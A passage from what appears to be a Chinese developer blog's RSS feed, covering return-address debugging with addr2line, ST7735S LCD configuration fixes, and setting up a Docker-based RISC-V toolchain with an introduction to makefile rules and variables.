</span></span><span class="line"><span class="cl">	<span class="n">p</span> <span class="o">=</span> <span class="nf">__builtin_extract_return_addr</span> <span class="p">(</span><span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;2 %p</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_return1</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">test_return</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;test return</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/**
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @brief test command
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">shell_test_cmd</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;test command:</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">argc</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;paras %d: %s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">argv</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]]));</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nf">test_return1</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">test_return1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;%p</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">nr@root:test
</span></span><span class="line"><span class="cl"><span class="nb">test</span> command:
</span></span><span class="line"><span class="cl">paras 0: <span class="nb">test</span>
</span></span><span class="line"><span class="cl"><span class="nb">test</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span> 004EADA6
</span></span><span class="line"><span class="cl"><span class="m">2</span> 004EADA6
</span></span><span class="line"><span class="cl"><span class="nb">test</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">004EAFB0
</span></span></code></pre></td></tr></table>
</div>
</div><p>004EADA6 是 test_return 的返回地址。004EAFB0 是直接打印的函数地址，是 test_return 的入口地址。然后通过 addr2line.exe 验证这两个地址。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">D:<span class="se">\w</span>orkspace<span class="se">\Q</span>T<span class="se">\q</span>t_idf<span class="se">\e</span>xamples<span class="se">\s</span>hell&gt;D:<span class="se">\w</span>orkspace<span class="se">\Q</span>T<span class="se">\q</span>t_idf<span class="se">\t</span>ools<span class="se">\m</span>ingw32<span class="se">\b</span>in<span class="se">\a</span>ddr2line.exe -e D:/workspace/QT/qt_idf/examples/shell/build/build_out/target/shell.exe -f 004EADA6 004EAFB0
</span></span><span class="line"><span class="cl">test_return1
</span></span><span class="line"><span class="cl">D:/workspace/QT/qt_idf/examples/shell/cmds/cmds.c:56
</span></span><span class="line"><span class="cl">test_return1
</span></span><span class="line"><span class="cl">D:/workspace/QT/qt_idf/examples/shell/cmds/cmds.c:54
</span></span></code></pre></td></tr></table>
</div>
</div><p>004EADA6 是 test_return1 中第 56 行代码位置，004EAFB0 是 test_return1 中第 54 行代码位置。
<img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.2lbwjc2df7s0.webp" alt=""  />
</p>
<p>另外，使用 addr2line.exe 还碰到出现 dwarf error: could not find abbrev number 108. 问题，原因是编译的时候没有打开调试信息，在编译配置中增加 -g3 即可解决。</p>
]]></content:encoded>
    </item>
    <item>
      <title>关于 st7735s LCD 屏幕的一些问题处理</title>
      <link>https://hacperme.com/posts/notes/20230525_st7735s_notes/</link>
      <pubDate>Thu, 25 May 2023 23:30:03 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230525_st7735s_notes/</guid>
      <description>设置屏幕旋转方向、显示范围、花屏处理方法。</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>最近碰到一些 st7735s 屏幕的调试问题，记录一下解决办法。</p>
<h2 id="屏幕显示白边问题">屏幕显示白边问题</h2>
<p>问题现象是刷屏之后，屏幕右边和下边存在白边，没有显示内容。原因其实是屏幕显示的地址范围设置不正确，需要通过 0x2A、0x2B 指令设置行列地址偏移。</p>
<p>数据手册中对这两个命令的解释，0x2A命令带两个字节大小的两个参数，x_start、x_end，用来设置屏幕x轴上的显示地址范围，发数据的时候先发高字节再发第字节。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115631553.3f1pqwya5s20.webp" alt=""  />
</p>
<p>0x2B 指令也是带两个参数 y_start 、y_end ，数据大小 2 字节，用来设置y轴上的显示起始地址和结束地址。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115650908.1exbfz9w8sn4.webp" alt=""  />
</p>
<p>示例代码修改屏幕显示地址偏移和范围：x: 1~128，y: 2~161。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115812179.4xe3h2uysgg0.webp" alt=""  />
</p>
<p>屏幕规格书里写的屏幕分辨率是 128*128，st7735s 的数据手册提到可以通过硬件配置 3 种屏幕分辨率</p>
<ul>
<li>128*160</li>
<li>132*132</li>
<li>132*162</li>
</ul>
<p>从实际的调试来看，这块屏幕应该配置的是 132*162 分辨率，设置显示地址偏移和范围之后便能正常显示了。</p>
<h2 id="设置屏幕显示旋转方向">设置屏幕显示旋转方向</h2>
<p>有时候可能需要设置屏幕的显示方向，比如旋转 90°、180°、镜像显示等，可以通过 0x36 指令的 MX MY MV 三个参数来设置，具体参考 st7735s 的数据手册。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115517552.352bksfp5l80.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115205667.3cnr7ybh2qk0.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115435234.48rx4xn2jl40.webp" alt=""  />
</p>
<p>比如需要屏幕顺时针旋转 90° 显示，配置 0x36 指令的参数为 0x60。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115820538.6jsp34l840k0.webp" alt=""  />
</p>
<h2 id="rgb-bgr-颜色顺序问题">RGB-BGR 颜色顺序问题</h2>
<p>UI 的 RGB 颜色顺序有可能和驱动配置颜色顺序不一致，导致颜色显示不正常，可以通过 0x36 指令中的 RGB 参数设置颜色顺序。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230523115517552.352bksfp5l80.webp" alt=""  />
</p>
<h2 id="休眠唤醒出现花屏问题">休眠唤醒出现花屏问题</h2>
<p>屏幕进入休眠再唤醒，出现花屏的现象。屏幕唤醒之后重新执行了初始化配置导致，规避方法是在屏幕初始化的时候不打开屏幕显示 0x29 指令，在刷屏的时候再开启屏幕显示。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.4jwgzrnchxu0.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>rvemu 学习笔记-搭建开发环境</title>
      <link>https://hacperme.com/posts/series/rvemu_notes/01_setup_env_notes/</link>
      <pubDate>Sun, 21 May 2023 18:09:04 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/rvemu_notes/01_setup_env_notes/</guid>
      <description>搭建开发环境和总结makefile基础知识</description>
      <content:encoded><![CDATA[<h2 id="视频">视频</h2>
<!DOCTYPE HTML>
<html lang="en">
<head>
    <style type="text/css">
        .bilibili_shortcodes {
            position: relative;
            width: 100%;
            height: 0;
            padding-bottom: 66%;
            margin: auto;
            overflow: hidden;
            text-align: center;
        }
        .bilibili_shortcodes iframe {
            position: absolute;
            width: 100%;
            height: 100%;
            left: 0;
            top: 0;
        }
    </style>
    <title></title>
</head>
<body>
<div class="bilibili_shortcodes">
    <iframe
            src="https://player.bilibili.com/player.html?bvid=BV1uY4y1D7bJ&page=1&high_quality=1&danmaku=0&autoplay=0&as_wide=0"
            scrolling="no"
            border="0"
            frameborder="no"
            framespacing="0"
            allowfullscreen="true"
    >
    </iframe>
</div>
</body>
</html>
<h2 id="搭建环境">搭建环境</h2>
<p>计划使用docker 跑 ubuntu 20.04 系统，并将外部工程目录 D:\workspace\rvemu_env 挂载到容器内，方便共享文件。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">docker</span> <span class="n">run</span> <span class="n">-itd</span> <span class="n">-v</span> <span class="n">D:</span><span class="p">\</span><span class="n">workspace</span><span class="p">\</span><span class="n">rvemu_env</span><span class="err">:</span><span class="p">/</span><span class="n">rvemu_env</span>  <span class="p">-</span><span class="n">-name</span> <span class="n">rvemu</span> <span class="n">ubuntu</span><span class="err">:</span><span class="mf">20.04</span>
</span></span><span class="line"><span class="cl"><span class="n">79a6aa79f8523800b37f878e29a23b6b168808d4588b639a9d24e89743e7c3c3</span>
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">hacper</span><span class="p">&gt;</span> <span class="n">docker</span> <span class="n">attach</span> <span class="n">79a6aa79f8523</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="nv">@79a6aa79f852</span><span class="err">:</span><span class="p">/</span><span class="c"># ls</span>
</span></span><span class="line"><span class="cl"><span class="n">bin</span>   <span class="n">dev</span>  <span class="n">home</span>  <span class="n">lib32</span>  <span class="n">libx32</span>  <span class="n">mnt</span>  <span class="n">proc</span>  <span class="n">run</span>        <span class="n">sbin</span>  <span class="n">sys</span>  <span class="n">usr</span>
</span></span><span class="line"><span class="cl"><span class="n">boot</span>  <span class="n">etc</span>  <span class="n">lib</span>   <span class="n">lib64</span>  <span class="n">media</span>   <span class="n">opt</span>  <span class="n">root</span>  <span class="n">rvemu_env</span>  <span class="n">srv</span>   <span class="n">tmp</span>  <span class="n">var</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>安装开发需要的软件包：clang make  gcc</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@79a6aa79f852:/# apt update <span class="o">&amp;&amp;</span> apt install clang make vim  gcc -y     
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">root@79a6aa79f852:/# clang -v
</span></span><span class="line"><span class="cl">clang version 10.0.0-4ubuntu1
</span></span><span class="line"><span class="cl">Target: x86_64-pc-linux-gnu
</span></span><span class="line"><span class="cl">Thread model: posix
</span></span><span class="line"><span class="cl">InstalledDir: /usr/bin
</span></span><span class="line"><span class="cl">Found candidate GCC installation: /usr/bin/../lib/gcc/x86_64-linux-gnu/9
</span></span><span class="line"><span class="cl">Found candidate GCC installation: /usr/lib/gcc/x86_64-linux-gnu/9
</span></span><span class="line"><span class="cl">Selected GCC installation: /usr/bin/../lib/gcc/x86_64-linux-gnu/9
</span></span><span class="line"><span class="cl">Candidate multilib: .<span class="p">;</span>@m64
</span></span><span class="line"><span class="cl">Selected multilib: .<span class="p">;</span>@m64
</span></span><span class="line"><span class="cl">root@79a6aa79f852:/# make -v
</span></span><span class="line"><span class="cl">GNU Make 4.2.1
</span></span><span class="line"><span class="cl">Built <span class="k">for</span> x86_64-pc-linux-gnu
</span></span><span class="line"><span class="cl">Copyright <span class="o">(</span>C<span class="o">)</span> 1988-2016 Free Software Foundation, Inc.
</span></span><span class="line"><span class="cl">License GPLv3+: GNU GPL version <span class="m">3</span> or later &lt;http://gnu.org/licenses/gpl.html&gt;
</span></span><span class="line"><span class="cl">This is free software: you are free to change and redistribute it.
</span></span><span class="line"><span class="cl">There is NO WARRANTY, to the extent permitted by law.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">root@79a6aa79f852:/rvemu_env/rvemu# gcc -v
</span></span><span class="line"><span class="cl">Using built-in specs.
</span></span><span class="line"><span class="cl"><span class="nv">COLLECT_GCC</span><span class="o">=</span>gcc
</span></span><span class="line"><span class="cl"><span class="nv">COLLECT_LTO_WRAPPER</span><span class="o">=</span>/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper
</span></span><span class="line"><span class="cl"><span class="nv">OFFLOAD_TARGET_NAMES</span><span class="o">=</span>nvptx-none:hsa
</span></span><span class="line"><span class="cl"><span class="nv">OFFLOAD_TARGET_DEFAULT</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl">Target: x86_64-linux-gnu
</span></span><span class="line"><span class="cl">Configured with: ../src/configure -v --with-pkgversion<span class="o">=</span><span class="s1">&#39;Ubuntu 9.4.0-1ubuntu1~20.04.1&#39;</span> --with-bugurl<span class="o">=</span>file:///usr/share/doc/gcc-9/README.Bugs --enable-languages<span class="o">=</span>c,ada,c++,go,brig,d,fortran,objc,obj-c++,gm2 --prefix<span class="o">=</span>/usr --with-gcc-major-version-only --program-suffix<span class="o">=</span>-9 --program-prefix<span class="o">=</span>x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir<span class="o">=</span>/usr/lib --without-included-gettext --enable-threads<span class="o">=</span>posix --libdir<span class="o">=</span>/usr/lib --enable-nls --enable-clocale<span class="o">=</span>gnu --enable-libstdcxx-debug --enable-libstdcxx-time<span class="o">=</span>yes --with-default-libstdcxx-abi<span class="o">=</span>new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib<span class="o">=</span>auto --enable-objc-gc<span class="o">=</span>auto --enable-multiarch --disable-werror --with-arch-32<span class="o">=</span>i686 --with-abi<span class="o">=</span>m64 --with-multilib-list<span class="o">=</span>m32,m64,mx32 --enable-multilib --with-tune<span class="o">=</span>generic --enable-offload-targets<span class="o">=</span>nvptx-none<span class="o">=</span>/build/gcc-9-Av3uEd/gcc-9-9.4.0/debian/tmp-nvptx/usr,hsa --without-cuda-driver --enable-checking<span class="o">=</span>release --build<span class="o">=</span>x86_64-linux-gnu --host<span class="o">=</span>x86_64-linux-gnu --target<span class="o">=</span>x86_64-linux-gnu
</span></span><span class="line"><span class="cl">Thread model: posix
</span></span><span class="line"><span class="cl">gcc version 9.4.0 <span class="o">(</span>Ubuntu 9.4.0-1ubuntu1~20.04.1<span class="o">)</span> 
</span></span></code></pre></td></tr></table>
</div>
</div><p>再安装  RV64 Newlib 版本的工具链: <a href="https://github.com/riscv-collab/riscv-gnu-toolchain/releases/download/2023.05.19/riscv64-elf-ubuntu-22.04-nightly-2023.05.19-nightly.tar.gz">riscv64-elf-ubuntu-20.04-nightly-2023.05.19-nightly.tar.gz</a>。下载到共享目录和解压，并添加路径到环境变量。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@79a6aa79f852:~# cp riscv64-elf-ubuntu-20.04-nightly-2023.05.19-nightly.tar.gz ~
</span></span><span class="line"><span class="cl">root@79a6aa79f852:~# tar -xvf riscv64-elf-ubuntu-20.04-nightly-2023.05.19-nightly.tar.gz
</span></span><span class="line"><span class="cl">root@79a6aa79f852:~# <span class="nb">echo</span> <span class="s2">&#34;export PATH=</span><span class="nv">$PATH</span><span class="s2">:/root/riscv/bin&#34;</span> &gt; rvemu_env.sh
</span></span><span class="line"><span class="cl">root@79a6aa79f852:~# <span class="nb">source</span> rvemu_env.sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">root@79a6aa79f852:~# riscv64-unknown-elf-gcc -v
</span></span><span class="line"><span class="cl">Using built-in specs.
</span></span><span class="line"><span class="cl"><span class="nv">COLLECT_GCC</span><span class="o">=</span>riscv64-unknown-elf-gcc
</span></span><span class="line"><span class="cl"><span class="nv">COLLECT_LTO_WRAPPER</span><span class="o">=</span>/root/riscv/bin/../libexec/gcc/riscv64-unknown-elf/12.2.0/lto-wrapper
</span></span><span class="line"><span class="cl">Target: riscv64-unknown-elf
</span></span><span class="line"><span class="cl">Configured with: /home/runner/work/riscv-gnu-toolchain/riscv-gnu-toolchain/gcc/configure --target<span class="o">=</span>riscv64-unknown-elf --prefix<span class="o">=</span>/opt/riscv --disable-shared --disable-threads --enable-languages<span class="o">=</span>c,c++ --with-pkgversion<span class="o">=</span>g2ee5e430018 --with-system-zlib --enable-tls --with-newlib --with-sysroot<span class="o">=</span>/opt/riscv/riscv64-unknown-elf --with-native-system-header-dir<span class="o">=</span>/include --disable-libmudflap --disable-libssp --disable-libquadmath --disable-libgomp --disable-nls --disable-tm-clone-registry --src<span class="o">=</span>.././gcc --disable-multilib --with-abi<span class="o">=</span>lp64d --with-arch<span class="o">=</span>rv64gc --with-tune<span class="o">=</span>rocket --with-isa-spec<span class="o">=</span><span class="m">20191213</span> <span class="s1">&#39;CFLAGS_FOR_TARGET=-Os    -mcmodel=medlow&#39;</span> <span class="s1">&#39;CXXFLAGS_FOR_TARGET=-Os    -mcmodel=medlow&#39;</span>
</span></span><span class="line"><span class="cl">Thread model: single
</span></span><span class="line"><span class="cl">Supported LTO compression algorithms: zlib
</span></span><span class="line"><span class="cl">gcc version 12.2.0 <span class="o">(</span>g2ee5e430018<span class="o">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>不安装 gcc 使用 riscv64-unknown-elf-gcc 编译代码会出现找不到  libmpc.so.3 的错误，所以在上一步把 gcc 也安装上。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@79a6aa79f852:/rvemu_env/rvemu# riscv64-unknown-elf-gcc test.c -o <span class="nb">test</span>
</span></span><span class="line"><span class="cl">/root/riscv/bin/../libexec/gcc/riscv64-unknown-elf/12.2.0/cc1: error <span class="k">while</span> loading shared libraries: libmpc.so.3: cannot open shared object file: No such file or directory
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="vscode-连接到-docker-容器">vscode 连接到 docker 容器</h2>
<p>vscode 可以直接连接到 docker 容器，不需要再配置网络、sshd 这些，也挺方便。在远程连接界面选择 Attach to Running Contaner 即可。编译跑一下已有的完整代码，验证环境是正常的。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.1lg5k9upb3c0.png" alt=""  />
</p>
<h2 id="makefile-基础知识">makefile 基础知识</h2>
<p>借助第一课的基础 makefile 文件，对 makefile 的基础知识做一个整理。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nv">CFLAGS</span><span class="o">=</span>-O3 -Wall -Werror -Wimplicit-fallthrough
</span></span><span class="line"><span class="cl"><span class="nv">SRCS</span><span class="o">=</span><span class="k">$(</span>wildcard src/*.c<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">HDRS</span><span class="o">=</span><span class="k">$(</span>wildcard src/*.h<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">OBJS</span><span class="o">=</span><span class="k">$(</span>patsubst src/%.c, obj/%.o, <span class="k">$(</span>SRCS<span class="k">))</span>
</span></span><span class="line"><span class="cl"><span class="nv">CC</span><span class="o">=</span>clang
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">rvemu</span><span class="o">:</span> <span class="k">$(</span><span class="nv">OBJS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -lm -o <span class="nv">$@</span> $^ <span class="k">$(</span>LDFLAGS<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">$(OBJS)</span><span class="o">:</span> <span class="n">obj</span>/%.<span class="n">o</span>: <span class="n">src</span>/%.<span class="n">c</span> <span class="k">$(</span><span class="nv">HDRS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	@mkdir -p <span class="nv">$$</span><span class="o">(</span>dirname <span class="nv">$@</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -c -o <span class="nv">$@</span> $&lt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">clean</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">	rm -rf rvemu obj/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">.PHONY</span><span class="o">:</span> <span class="n">clean</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="makefile-的编写规则">makefile 的编写规则</h3>
<p>makefile 文件记录了一个工程怎样构建编译得到目标产物的规则，makefile 的规则主要由目标、依赖和命令三部分组成。简单地理解 makefile 规则：想要生成的目标文件依赖于一个或者多个文件，目标的生成规则定义在命令中，一旦依赖文件有更新，就会执行命令构建目标文件。</p>
<p>makefile 通过文件的时间戳来判断是否文件有更新。</p>
<p>makefile文件规则：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">目标：依赖
</span></span><span class="line"><span class="cl">&lt;TAB&gt;命令
</span></span></code></pre></td></tr></table>
</div>
</div><p>目标：可以是可执行文件、中间文件、或者标签（伪目标）。</p>
<p>依赖：可以是源文件、其他目标。</p>
<p>命令：任何 shell 命令</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nf">rvemu</span><span class="o">:</span> <span class="k">$(</span><span class="nv">OBJS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -lm -o <span class="nv">$@</span> $^ <span class="k">$(</span>LDFLAGS<span class="k">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>伪目标不会生成目标文件，只执行命令，用于执行某项特定的任务。</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nf">clean</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">	rm -rf rvemu obj/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">.PHONY</span><span class="o">:</span> <span class="n">clean</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="makefile-变量">makefile 变量</h3>
<p>makefile 里面可以定义和使用变量，可分为预定义变量、自定义变量和自动变量三部分。</p>
<h4 id="常见的预定义变量">常见的预定义变量</h4>
<table>
<thead>
<tr>
<th>AR</th>
<th>归档维护程序的程序名，默认值为ar</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARFLAGS</td>
<td>归档维护程序的选项</td>
</tr>
<tr>
<td>AS</td>
<td>汇编程序的名称，默认值为as</td>
</tr>
<tr>
<td>ASFLAGS</td>
<td>汇编程序的选项</td>
</tr>
<tr>
<td>CC</td>
<td>C编译器的名称，默认值为cc</td>
</tr>
<tr>
<td>CFLAGS</td>
<td>C编译器的选项</td>
</tr>
<tr>
<td>CPP</td>
<td>C预编译器的名称，默认值为$(CC) -E</td>
</tr>
<tr>
<td>CPPFLAGS</td>
<td>C预编译的选项</td>
</tr>
<tr>
<td>CXX</td>
<td>C++编译器的名称，默认值为g++</td>
</tr>
<tr>
<td>CXXFLAGS</td>
<td>C++编译器的选项</td>
</tr>
</tbody>
</table>
<p>环境变量也可以引用，也看作是预定义变量。</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nv">CFLAGS</span><span class="o">=</span>-O3 -Wall -Werror -Wimplicit-fallthrough
</span></span><span class="line"><span class="cl"><span class="nv">CC</span><span class="o">=</span>clang
</span></span></code></pre></td></tr></table>
</div>
</div><h4 id="自定义变量和使用">自定义变量和使用</h4>
